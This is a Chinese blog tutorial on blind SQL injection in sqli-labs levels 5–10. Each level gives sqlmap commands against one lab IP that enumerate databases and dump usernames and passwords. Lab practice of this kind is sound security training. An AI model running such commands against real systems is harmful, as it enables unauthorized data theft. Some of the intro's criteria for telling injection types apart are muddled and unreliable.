当前位置: 首页 > news >正文

2-手工sql注入(进阶篇) sqlilabs靶场5-10题

1. 阅读,学习本章前,可以先去看看基础篇:1-手工sql注入(基础篇)-CSDN博客

2. 本章通过对sqlilabs靶场的实战,关于sqlilabs靶场的搭建:Linux搭建靶场-CSDN博客

3. 本章会使用到sqlmap,关于sqlmap的命令:sql注入工具-​sqlmap-CSDN博客

点击访问题目:

通过 url 参数访问题目:http://服务器地址/sqlilabs/Less-1/

  • Less-1 是第一题题目
  • Less-2 是第二题题目 
  • 以此类推,进行访问

判断注入类型:在SQL注入中,判断是字符型注入还是数字型注入可以通过以下方法:

  • 1. 观察注入点的上下文:在注入点前后的SQL语句中,如果注入点处的参数被引号包围(例如:'1'),则很可能是字符型注入;如果不被引号包围(例如:1),则可能是数字型注入。
  • 2. 字符串函数的使用:在注入点处,如果使用了字符串函数(如CONCAT、SUBSTRING、LENGTH等),则很可能是字符型注入。这是因为字符串函数通常用于修改字符串值,而数字类型的参数并不需要使用字符串函数。
  • 3. 错误消息:如果在注入点处注入了非法字符或非法语法,且数据库返回了错误消息,可以通过错误消息中的内容来判断是字符型注入还是数字型注入。例如,如果错误消息中包含了关于字符串数据类型的错误信息(如字符串转换错误),则可能是字符型注入。
  • 4. 注入点的响应:在注入点处注入不同类型的数据,观察数据库的响应。如果注入点返回了期望的结果(如查询结果集),则可能是字符型注入;如果注入点返回了错误信息或者无效的结果,可能是数字型注入。

 Less-5

第五题的题目Less-5需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-5/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-5/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-6

第六题的题目Less-6需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-6/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-6/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-7

第七题的题目Less-7需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-7/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-7/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-8

第八题的题目Less-8需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-8/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-8/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

 Less-9

第九题的题目Less-9需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-9/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-9/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

  Less-10

第十题的题目Less-10需要通过给url传递 id 参数访问:也就是我们的注入点

  • 例如:http:///sqlilabs/Less-10/?id=1 访问(查询)数据库中id为1的数据
  • 分析:
    • 请求方式:get请求
    • 请求参数:id
    • 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
  • 模拟场景:通过传入的id值判断用户是否存在

注入点:http://38.147.186.138/sqlilabs/Less-10/?id=1 

sqlmap

  1. 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch --current-db
  4. 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" --tables --batch
  5. 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" -T "users" --columns --batch
  6. 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" -T "users" -C "username,password" --dump  --batch

相关文章:

2-手工sql注入(进阶篇) sqlilabs靶场5-10题

1. 阅读,学习本章前,可以先去看看基础篇:1-手工sql注入(基础篇)-CSDN博客 2. 本章通过对sqlilabs靶场的实战,关于sqlilabs靶场的搭建:Linux搭建靶场-CSDN博客 3. 本章会使用到sqlmap,关于sqlmap的命令&…...

C++并发:线程函数传参(二)

正文 传参中的陷阱 1. 向std::thread 构造函数传参:所有参数(含第1个参数可调用对象)均按值并以副本的形式保存在 std::thread 对象中的tuple里。这一点的实现类似于std::bind。如果要达到按引用传参的效果,可使用std::ref来传递…...

正点原子[第二期]Linux之ARM(MX6U)裸机篇学习笔记-12-蜂鸣器

前言: 本文是根据哔哩哔哩网站上“正点原子[第二期]Linux之ARM(MX6U)裸机篇”视频的学习笔记,在这里会记录下正点原子 I.MX6ULL 开发板的配套视频教程所作的实验和学习笔记内容。本文大量引用了正点原子教学视频和链接中的内容。…...

H5 css动画效果

你可以使用 CSS 动画来实现这个效果。下面是一个简单的示例代码&#xff0c;展示了如何使用 CSS 中的关键帧动画来放大然后缩小一张图片&#xff0c;并使动画循环播放&#xff1a; html <!DOCTYPE html> <html lang"en"><head><meta charset&qu…...

创作纪念日(一周年)

机缘 我进入CSDN成为创作者是去年2023年的五月份&#xff0c;当时是在学校报名了蓝桥杯单片机组的比赛&#xff0c;觉得单片机方面有许多精妙之处&#xff0c;并且自学初学单片机实在有许多奇巧的设计点&#xff0c;有许多编程与硬件实际运行需要磨合的地方&#xff0c;这些惊…...

Oracle 数据库全面升级为 23ai

从 11g 到 12c 再到 19c&#xff0c;今天&#xff0c;我们迎来了 23ai &#xff01; “ Oracle AI Vector Search allows documents, images, and relational data that are stored in mission-critical databases to be easily searched based on their conceptual content Ge…...

Android WebView打开网址黑屏

1.先说解决方案&#xff1a; // 允许执行JavaScriptbinding.webView.getSettings().setJavaScriptEnabled(true);// 启用硬件加速binding.webView.setLayerType(View.LAYER_TYPE_HARDWARE, null);// 允许混合内容。即使是通过HTTPS加载的页面也可以显示通过HTTP加载的资源。bin…...

软件测试之 接口测试 Postman使用

接口测试 URL HTTP协议 HTTP 请求部分 HTTP响应部分 Postman使用 界面介绍 这里 注意 如果你无法访问 那么 captchaImage这个打错了&#xff0c;给的资料中是错误的地址 https://kdtx-test.itheima.net/api/captchaImage登录接口 科大天下 第一个接口的登录设置 https://kd…...

惠海 H4012 同步降压芯片IC 30V降压3.3V5V12V方案 支持EN使能控制

大家好&#xff0c;今天给大家介绍惠海H4012同步降压芯片IC是一款降压恒压芯片&#xff0c;适用于多种电压转换需求。以下是对该芯片及其30V降压至3.3V、5V、12V方案和支持EN使能控制功能的具体介绍&#xff1a; 首先&#xff0c;H4012是一款内置30V耐压MOS的同步降压型DC-DC转…...

Android Studio查看xml文件的修改时间和记录

Android Studio查看xml文件的修改时间和记录 Android Studio里面如果是Java/Kotlin编写界面&#xff0c;可以点击函数开头上面的提交在直接&#xff0c;然后在编辑界面的左侧查看历史时间上的修改记录&#xff0c;但是xml文件里面没有直观的这样操作方式。 但xml里面可以通过快…...

源码拾贝三则

目录 一 一种枚举类型的新型使用方式 二 Eigen库中的LDLT分解 三 Eigen中的访问者模式 一 一种枚举类型的新型使用方式 ///D:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\include\xiosbase enum _Iostate { // consta…...

nginx配置文件和配置命令详解案例

一.nginx.conf配置结构 1.1配置结构图 1.2 nginx中配置nginx.conf配置内容 #user nobody; user root; # 表示worker进程是有root用户去执行的 worker_processes 2; events {# 默认使用epolluse epoll;# 每个worker链接最大数据worker_connections 1024; } http {include …...

服务网关GateWay原理

文章目录 自动装配核心类GatewayAutoConfigurationDispatcherHandler请求处理阶段apply方法httpHandler#handle方法WebHandler#handle方法DispatchHanlder#handle方法第一步 getHandler获取请求映射第二步 invokeHandler 请求适配第三步 handleResult请求处理总结 上一篇博文我…...

第12节 第二种shellcode编写实战(1)

我最近在做一个关于shellcode入门和开发的专题课&#x1f469;&#x1f3fb;‍&#x1f4bb;&#xff0c;主要面向对网络安全技术感兴趣的小伙伴。这是视频版内容对应的文字版材料&#xff0c;内容里面的每一个环境我都亲自测试实操过的记录&#xff0c;有需要的小伙伴可以参考…...

在Ubuntu上安装Anaconda并配置远程访问Jupyter

安装 下载Anaconda的.sh文件后&#xff0c;上传到服务器&#xff0c;然后进行安装&#xff1a; chmod x anaconda.sh ./anaconda.sh创建虚拟环境 可以指定Python版本创建虚拟环境&#xff1a; conda create --name langchain python3.11.7 conda activate langchain conda …...

格雷希尔GripSeal:E10系列低压信号电测试连接器,应用于新能源汽车的DCR测试和EOL测试

新能源车的电驱动、电池包等都有一些信号接口&#xff0c;从几针到几十针不等&#xff0c;而且每种接口都有独特的电性能要求&#xff0c;这些接口在电池包进DCR测试或是EOL测试时&#xff0c;为了满足这些信号接口的需求&#xff0c;我们设计了E10系列信号针快速接头&#xff…...

飞跨电容型的三电平(FC-NPC)逆变器simulink仿真模型

本人搭建了飞跨电容型的三电平逆变器simulink仿真模型&#xff0c;相较于二极管钳位型三电平逆变器而言&#xff0c;钳位二极管变为飞跨的电容。采用SPWM调制和均流均压控制&#xff0c;通过搭建仿真模型得到三电平波形。 三电平拓扑中的飞跨电容是指在电路的输出端使用电容来实…...

前端Sass使用详解,看这篇就够了

Sass&#xff08;Syntactically Awesome Style Sheets&#xff09;是一种CSS预处理器&#xff0c;它被设计为改善CSS的可读性和实用性。Sass使用类似于CSS的语法&#xff0c;但增加了变量、嵌套、混合&#xff08;mixins&#xff09;、函数等功能&#xff0c;使得编写CSS更加高…...

用js操作dom节点的一些方法

一、获取节点 document.getElementById(id); 返回拥有指定 id 的第一个节点 document.getElementsByName(name); 返回带有指定名称的节点集合 document.getElementsByTagName(tagname); 返回带有指定标签名的节点集合 document.getElementsByClassName(classname); 返回带有…...

electron 中拦截内嵌页面 beforeunload 的弹窗提示

window 的 beforeunload 事件提示在electron 不兼容&#xff0c;弹窗提示不出来&#xff0c;还会导致莫名其妙的假死问题&#xff0c;下面记录一下解决方法。 1. 如果仅需要拦截弹窗&#xff1a; win.webContents.on(will-prevent-unload, (event) > {event.preventDefault(…...

LabVIEW的MathScript Node 绘图功能

该VI 借助 LabVIEW 的 MathScript Node&#xff0c;结合事件监听机制&#xff0c;实现基于 MathScript 的绘图功能&#xff0c;并支持通过交互控件自定义绘图属性。利用 MathScript 编写脚本完成图形初始化&#xff0c;再通过LabVIEW 事件结构响应用户操作&#xff0c;动态修改…...

React从基础入门到高级实战:React 实战项目 - 项目四:企业级仪表盘

React 实战项目&#xff1a;企业级仪表盘 欢迎来到 React 开发教程专栏 的第 29 篇&#xff01;在前 28 篇文章中&#xff0c;我们从 React 的基础概念逐步深入到高级技巧&#xff0c;涵盖了组件设计、状态管理、路由配置、性能优化和实时通信等核心内容。这一次&#xff0c;我…...

数据结构——D/串

一、串的定义和基本操作 &#xfeff; 1. 串的定义 &#xfeff; &#xfeff; 1&#xff09;串的概念 &#xfeff; &#xfeff; 组成结构: 串是由零个或多个字符组成的有限序列&#xff0c;记为 &#xfeff;S′a1a2⋯an′Sa_1a_2\cdots a_nS′a1​a2​⋯an′​&#x…...

ingress-nginx 开启 Prometheus 监控 + Grafana 查看指标

环境已经部署了 ingress-nginx&#xff08;DaemonSet 方式&#xff09;&#xff0c;并且 Prometheus Grafana 也已经运行。但之前 /metrics 端点没有暴露 Nginx 核心指标&#xff08;如 nginx_ingress_controller_requests_total&#xff09;&#xff0c;经过调整后现在可以正…...

Github 2025-06-05 Go开源项目日报 Top10

根据Github Trendings的统计,今日(2025-06-05统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Go项目10TypeScript项目1Go编程语言:构建简单、可靠和高效的软件 创建周期:3474 天开发语言:Go协议类型:BSD 3-Clause “New” or “Revise…...

pgsql batch insert optimization (reWriteBatchedInserts )

reWriteBatchedInserts 是 PostgreSQL JDBC 驱动 提供的一个优化选项&#xff0c;它可以 重写批量插入语句&#xff0c;从而提高插入性能。 作用 当 reWriteBatchedInsertstrue 时&#xff0c;PostgreSQL JDBC 驱动会将 多个单独的 INSERT 语句 转换为 一个多行 INSERT 语句&a…...

MATLAB实战:四旋翼姿态控制仿真方案

以下是一个基于MATLAB/Simulink的四旋翼姿态控制仿真方案。本方案使用简化姿态动力学模型&#xff0c;并设计PID控制器进行稳定控制。 1. 四旋翼姿态动力学模型 核心方程&#xff1a;I * ω̇ ω (I * ω) τ 其中&#xff1a; I diag([Ixx, Iyy, Izz]) 为转动惯量矩阵 …...

理解非结构化文档:将 Reducto 解析与 Elasticsearch 结合使用

作者&#xff1a;来自 Elastic Adel Wu 演示如何将 Reducto 的文档处理与 Elasticsearch 集成以实现语义搜索。 Elasticsearch 与业界领先的生成式 AI 工具和提供商有原生集成。欢迎观看我们的网络研讨会&#xff0c;了解如何超越 RAG 基础&#xff0c;或使用 Elastic 向量数据…...

行为型设计模式之Interpreter(解释器)

行为型设计模式之Interpreter&#xff08;解释器&#xff09; 前言&#xff1a; 自己的话理解&#xff1a;自定义一个解释器用来校验参数或数据是否合法。 1&#xff09;意图 给定一个语言&#xff0c;定义它的文法的一种表示&#xff0c;并定义一个解释器&#xff0c;这个解…...

【Dv3Admin】系统视图字典管理API文件解析

业务系统中静态数据管理常被忽视&#xff0c;但它直接影响到扩展性与维护效率。字典模块通过集中管理各类基础数据&#xff0c;避免硬编码&#xff0c;使系统具备更高的灵活性和适配能力&#xff0c;成为后台管理平台的重要基础组件。 文章解析 dvadmin/system/views/dictiona…...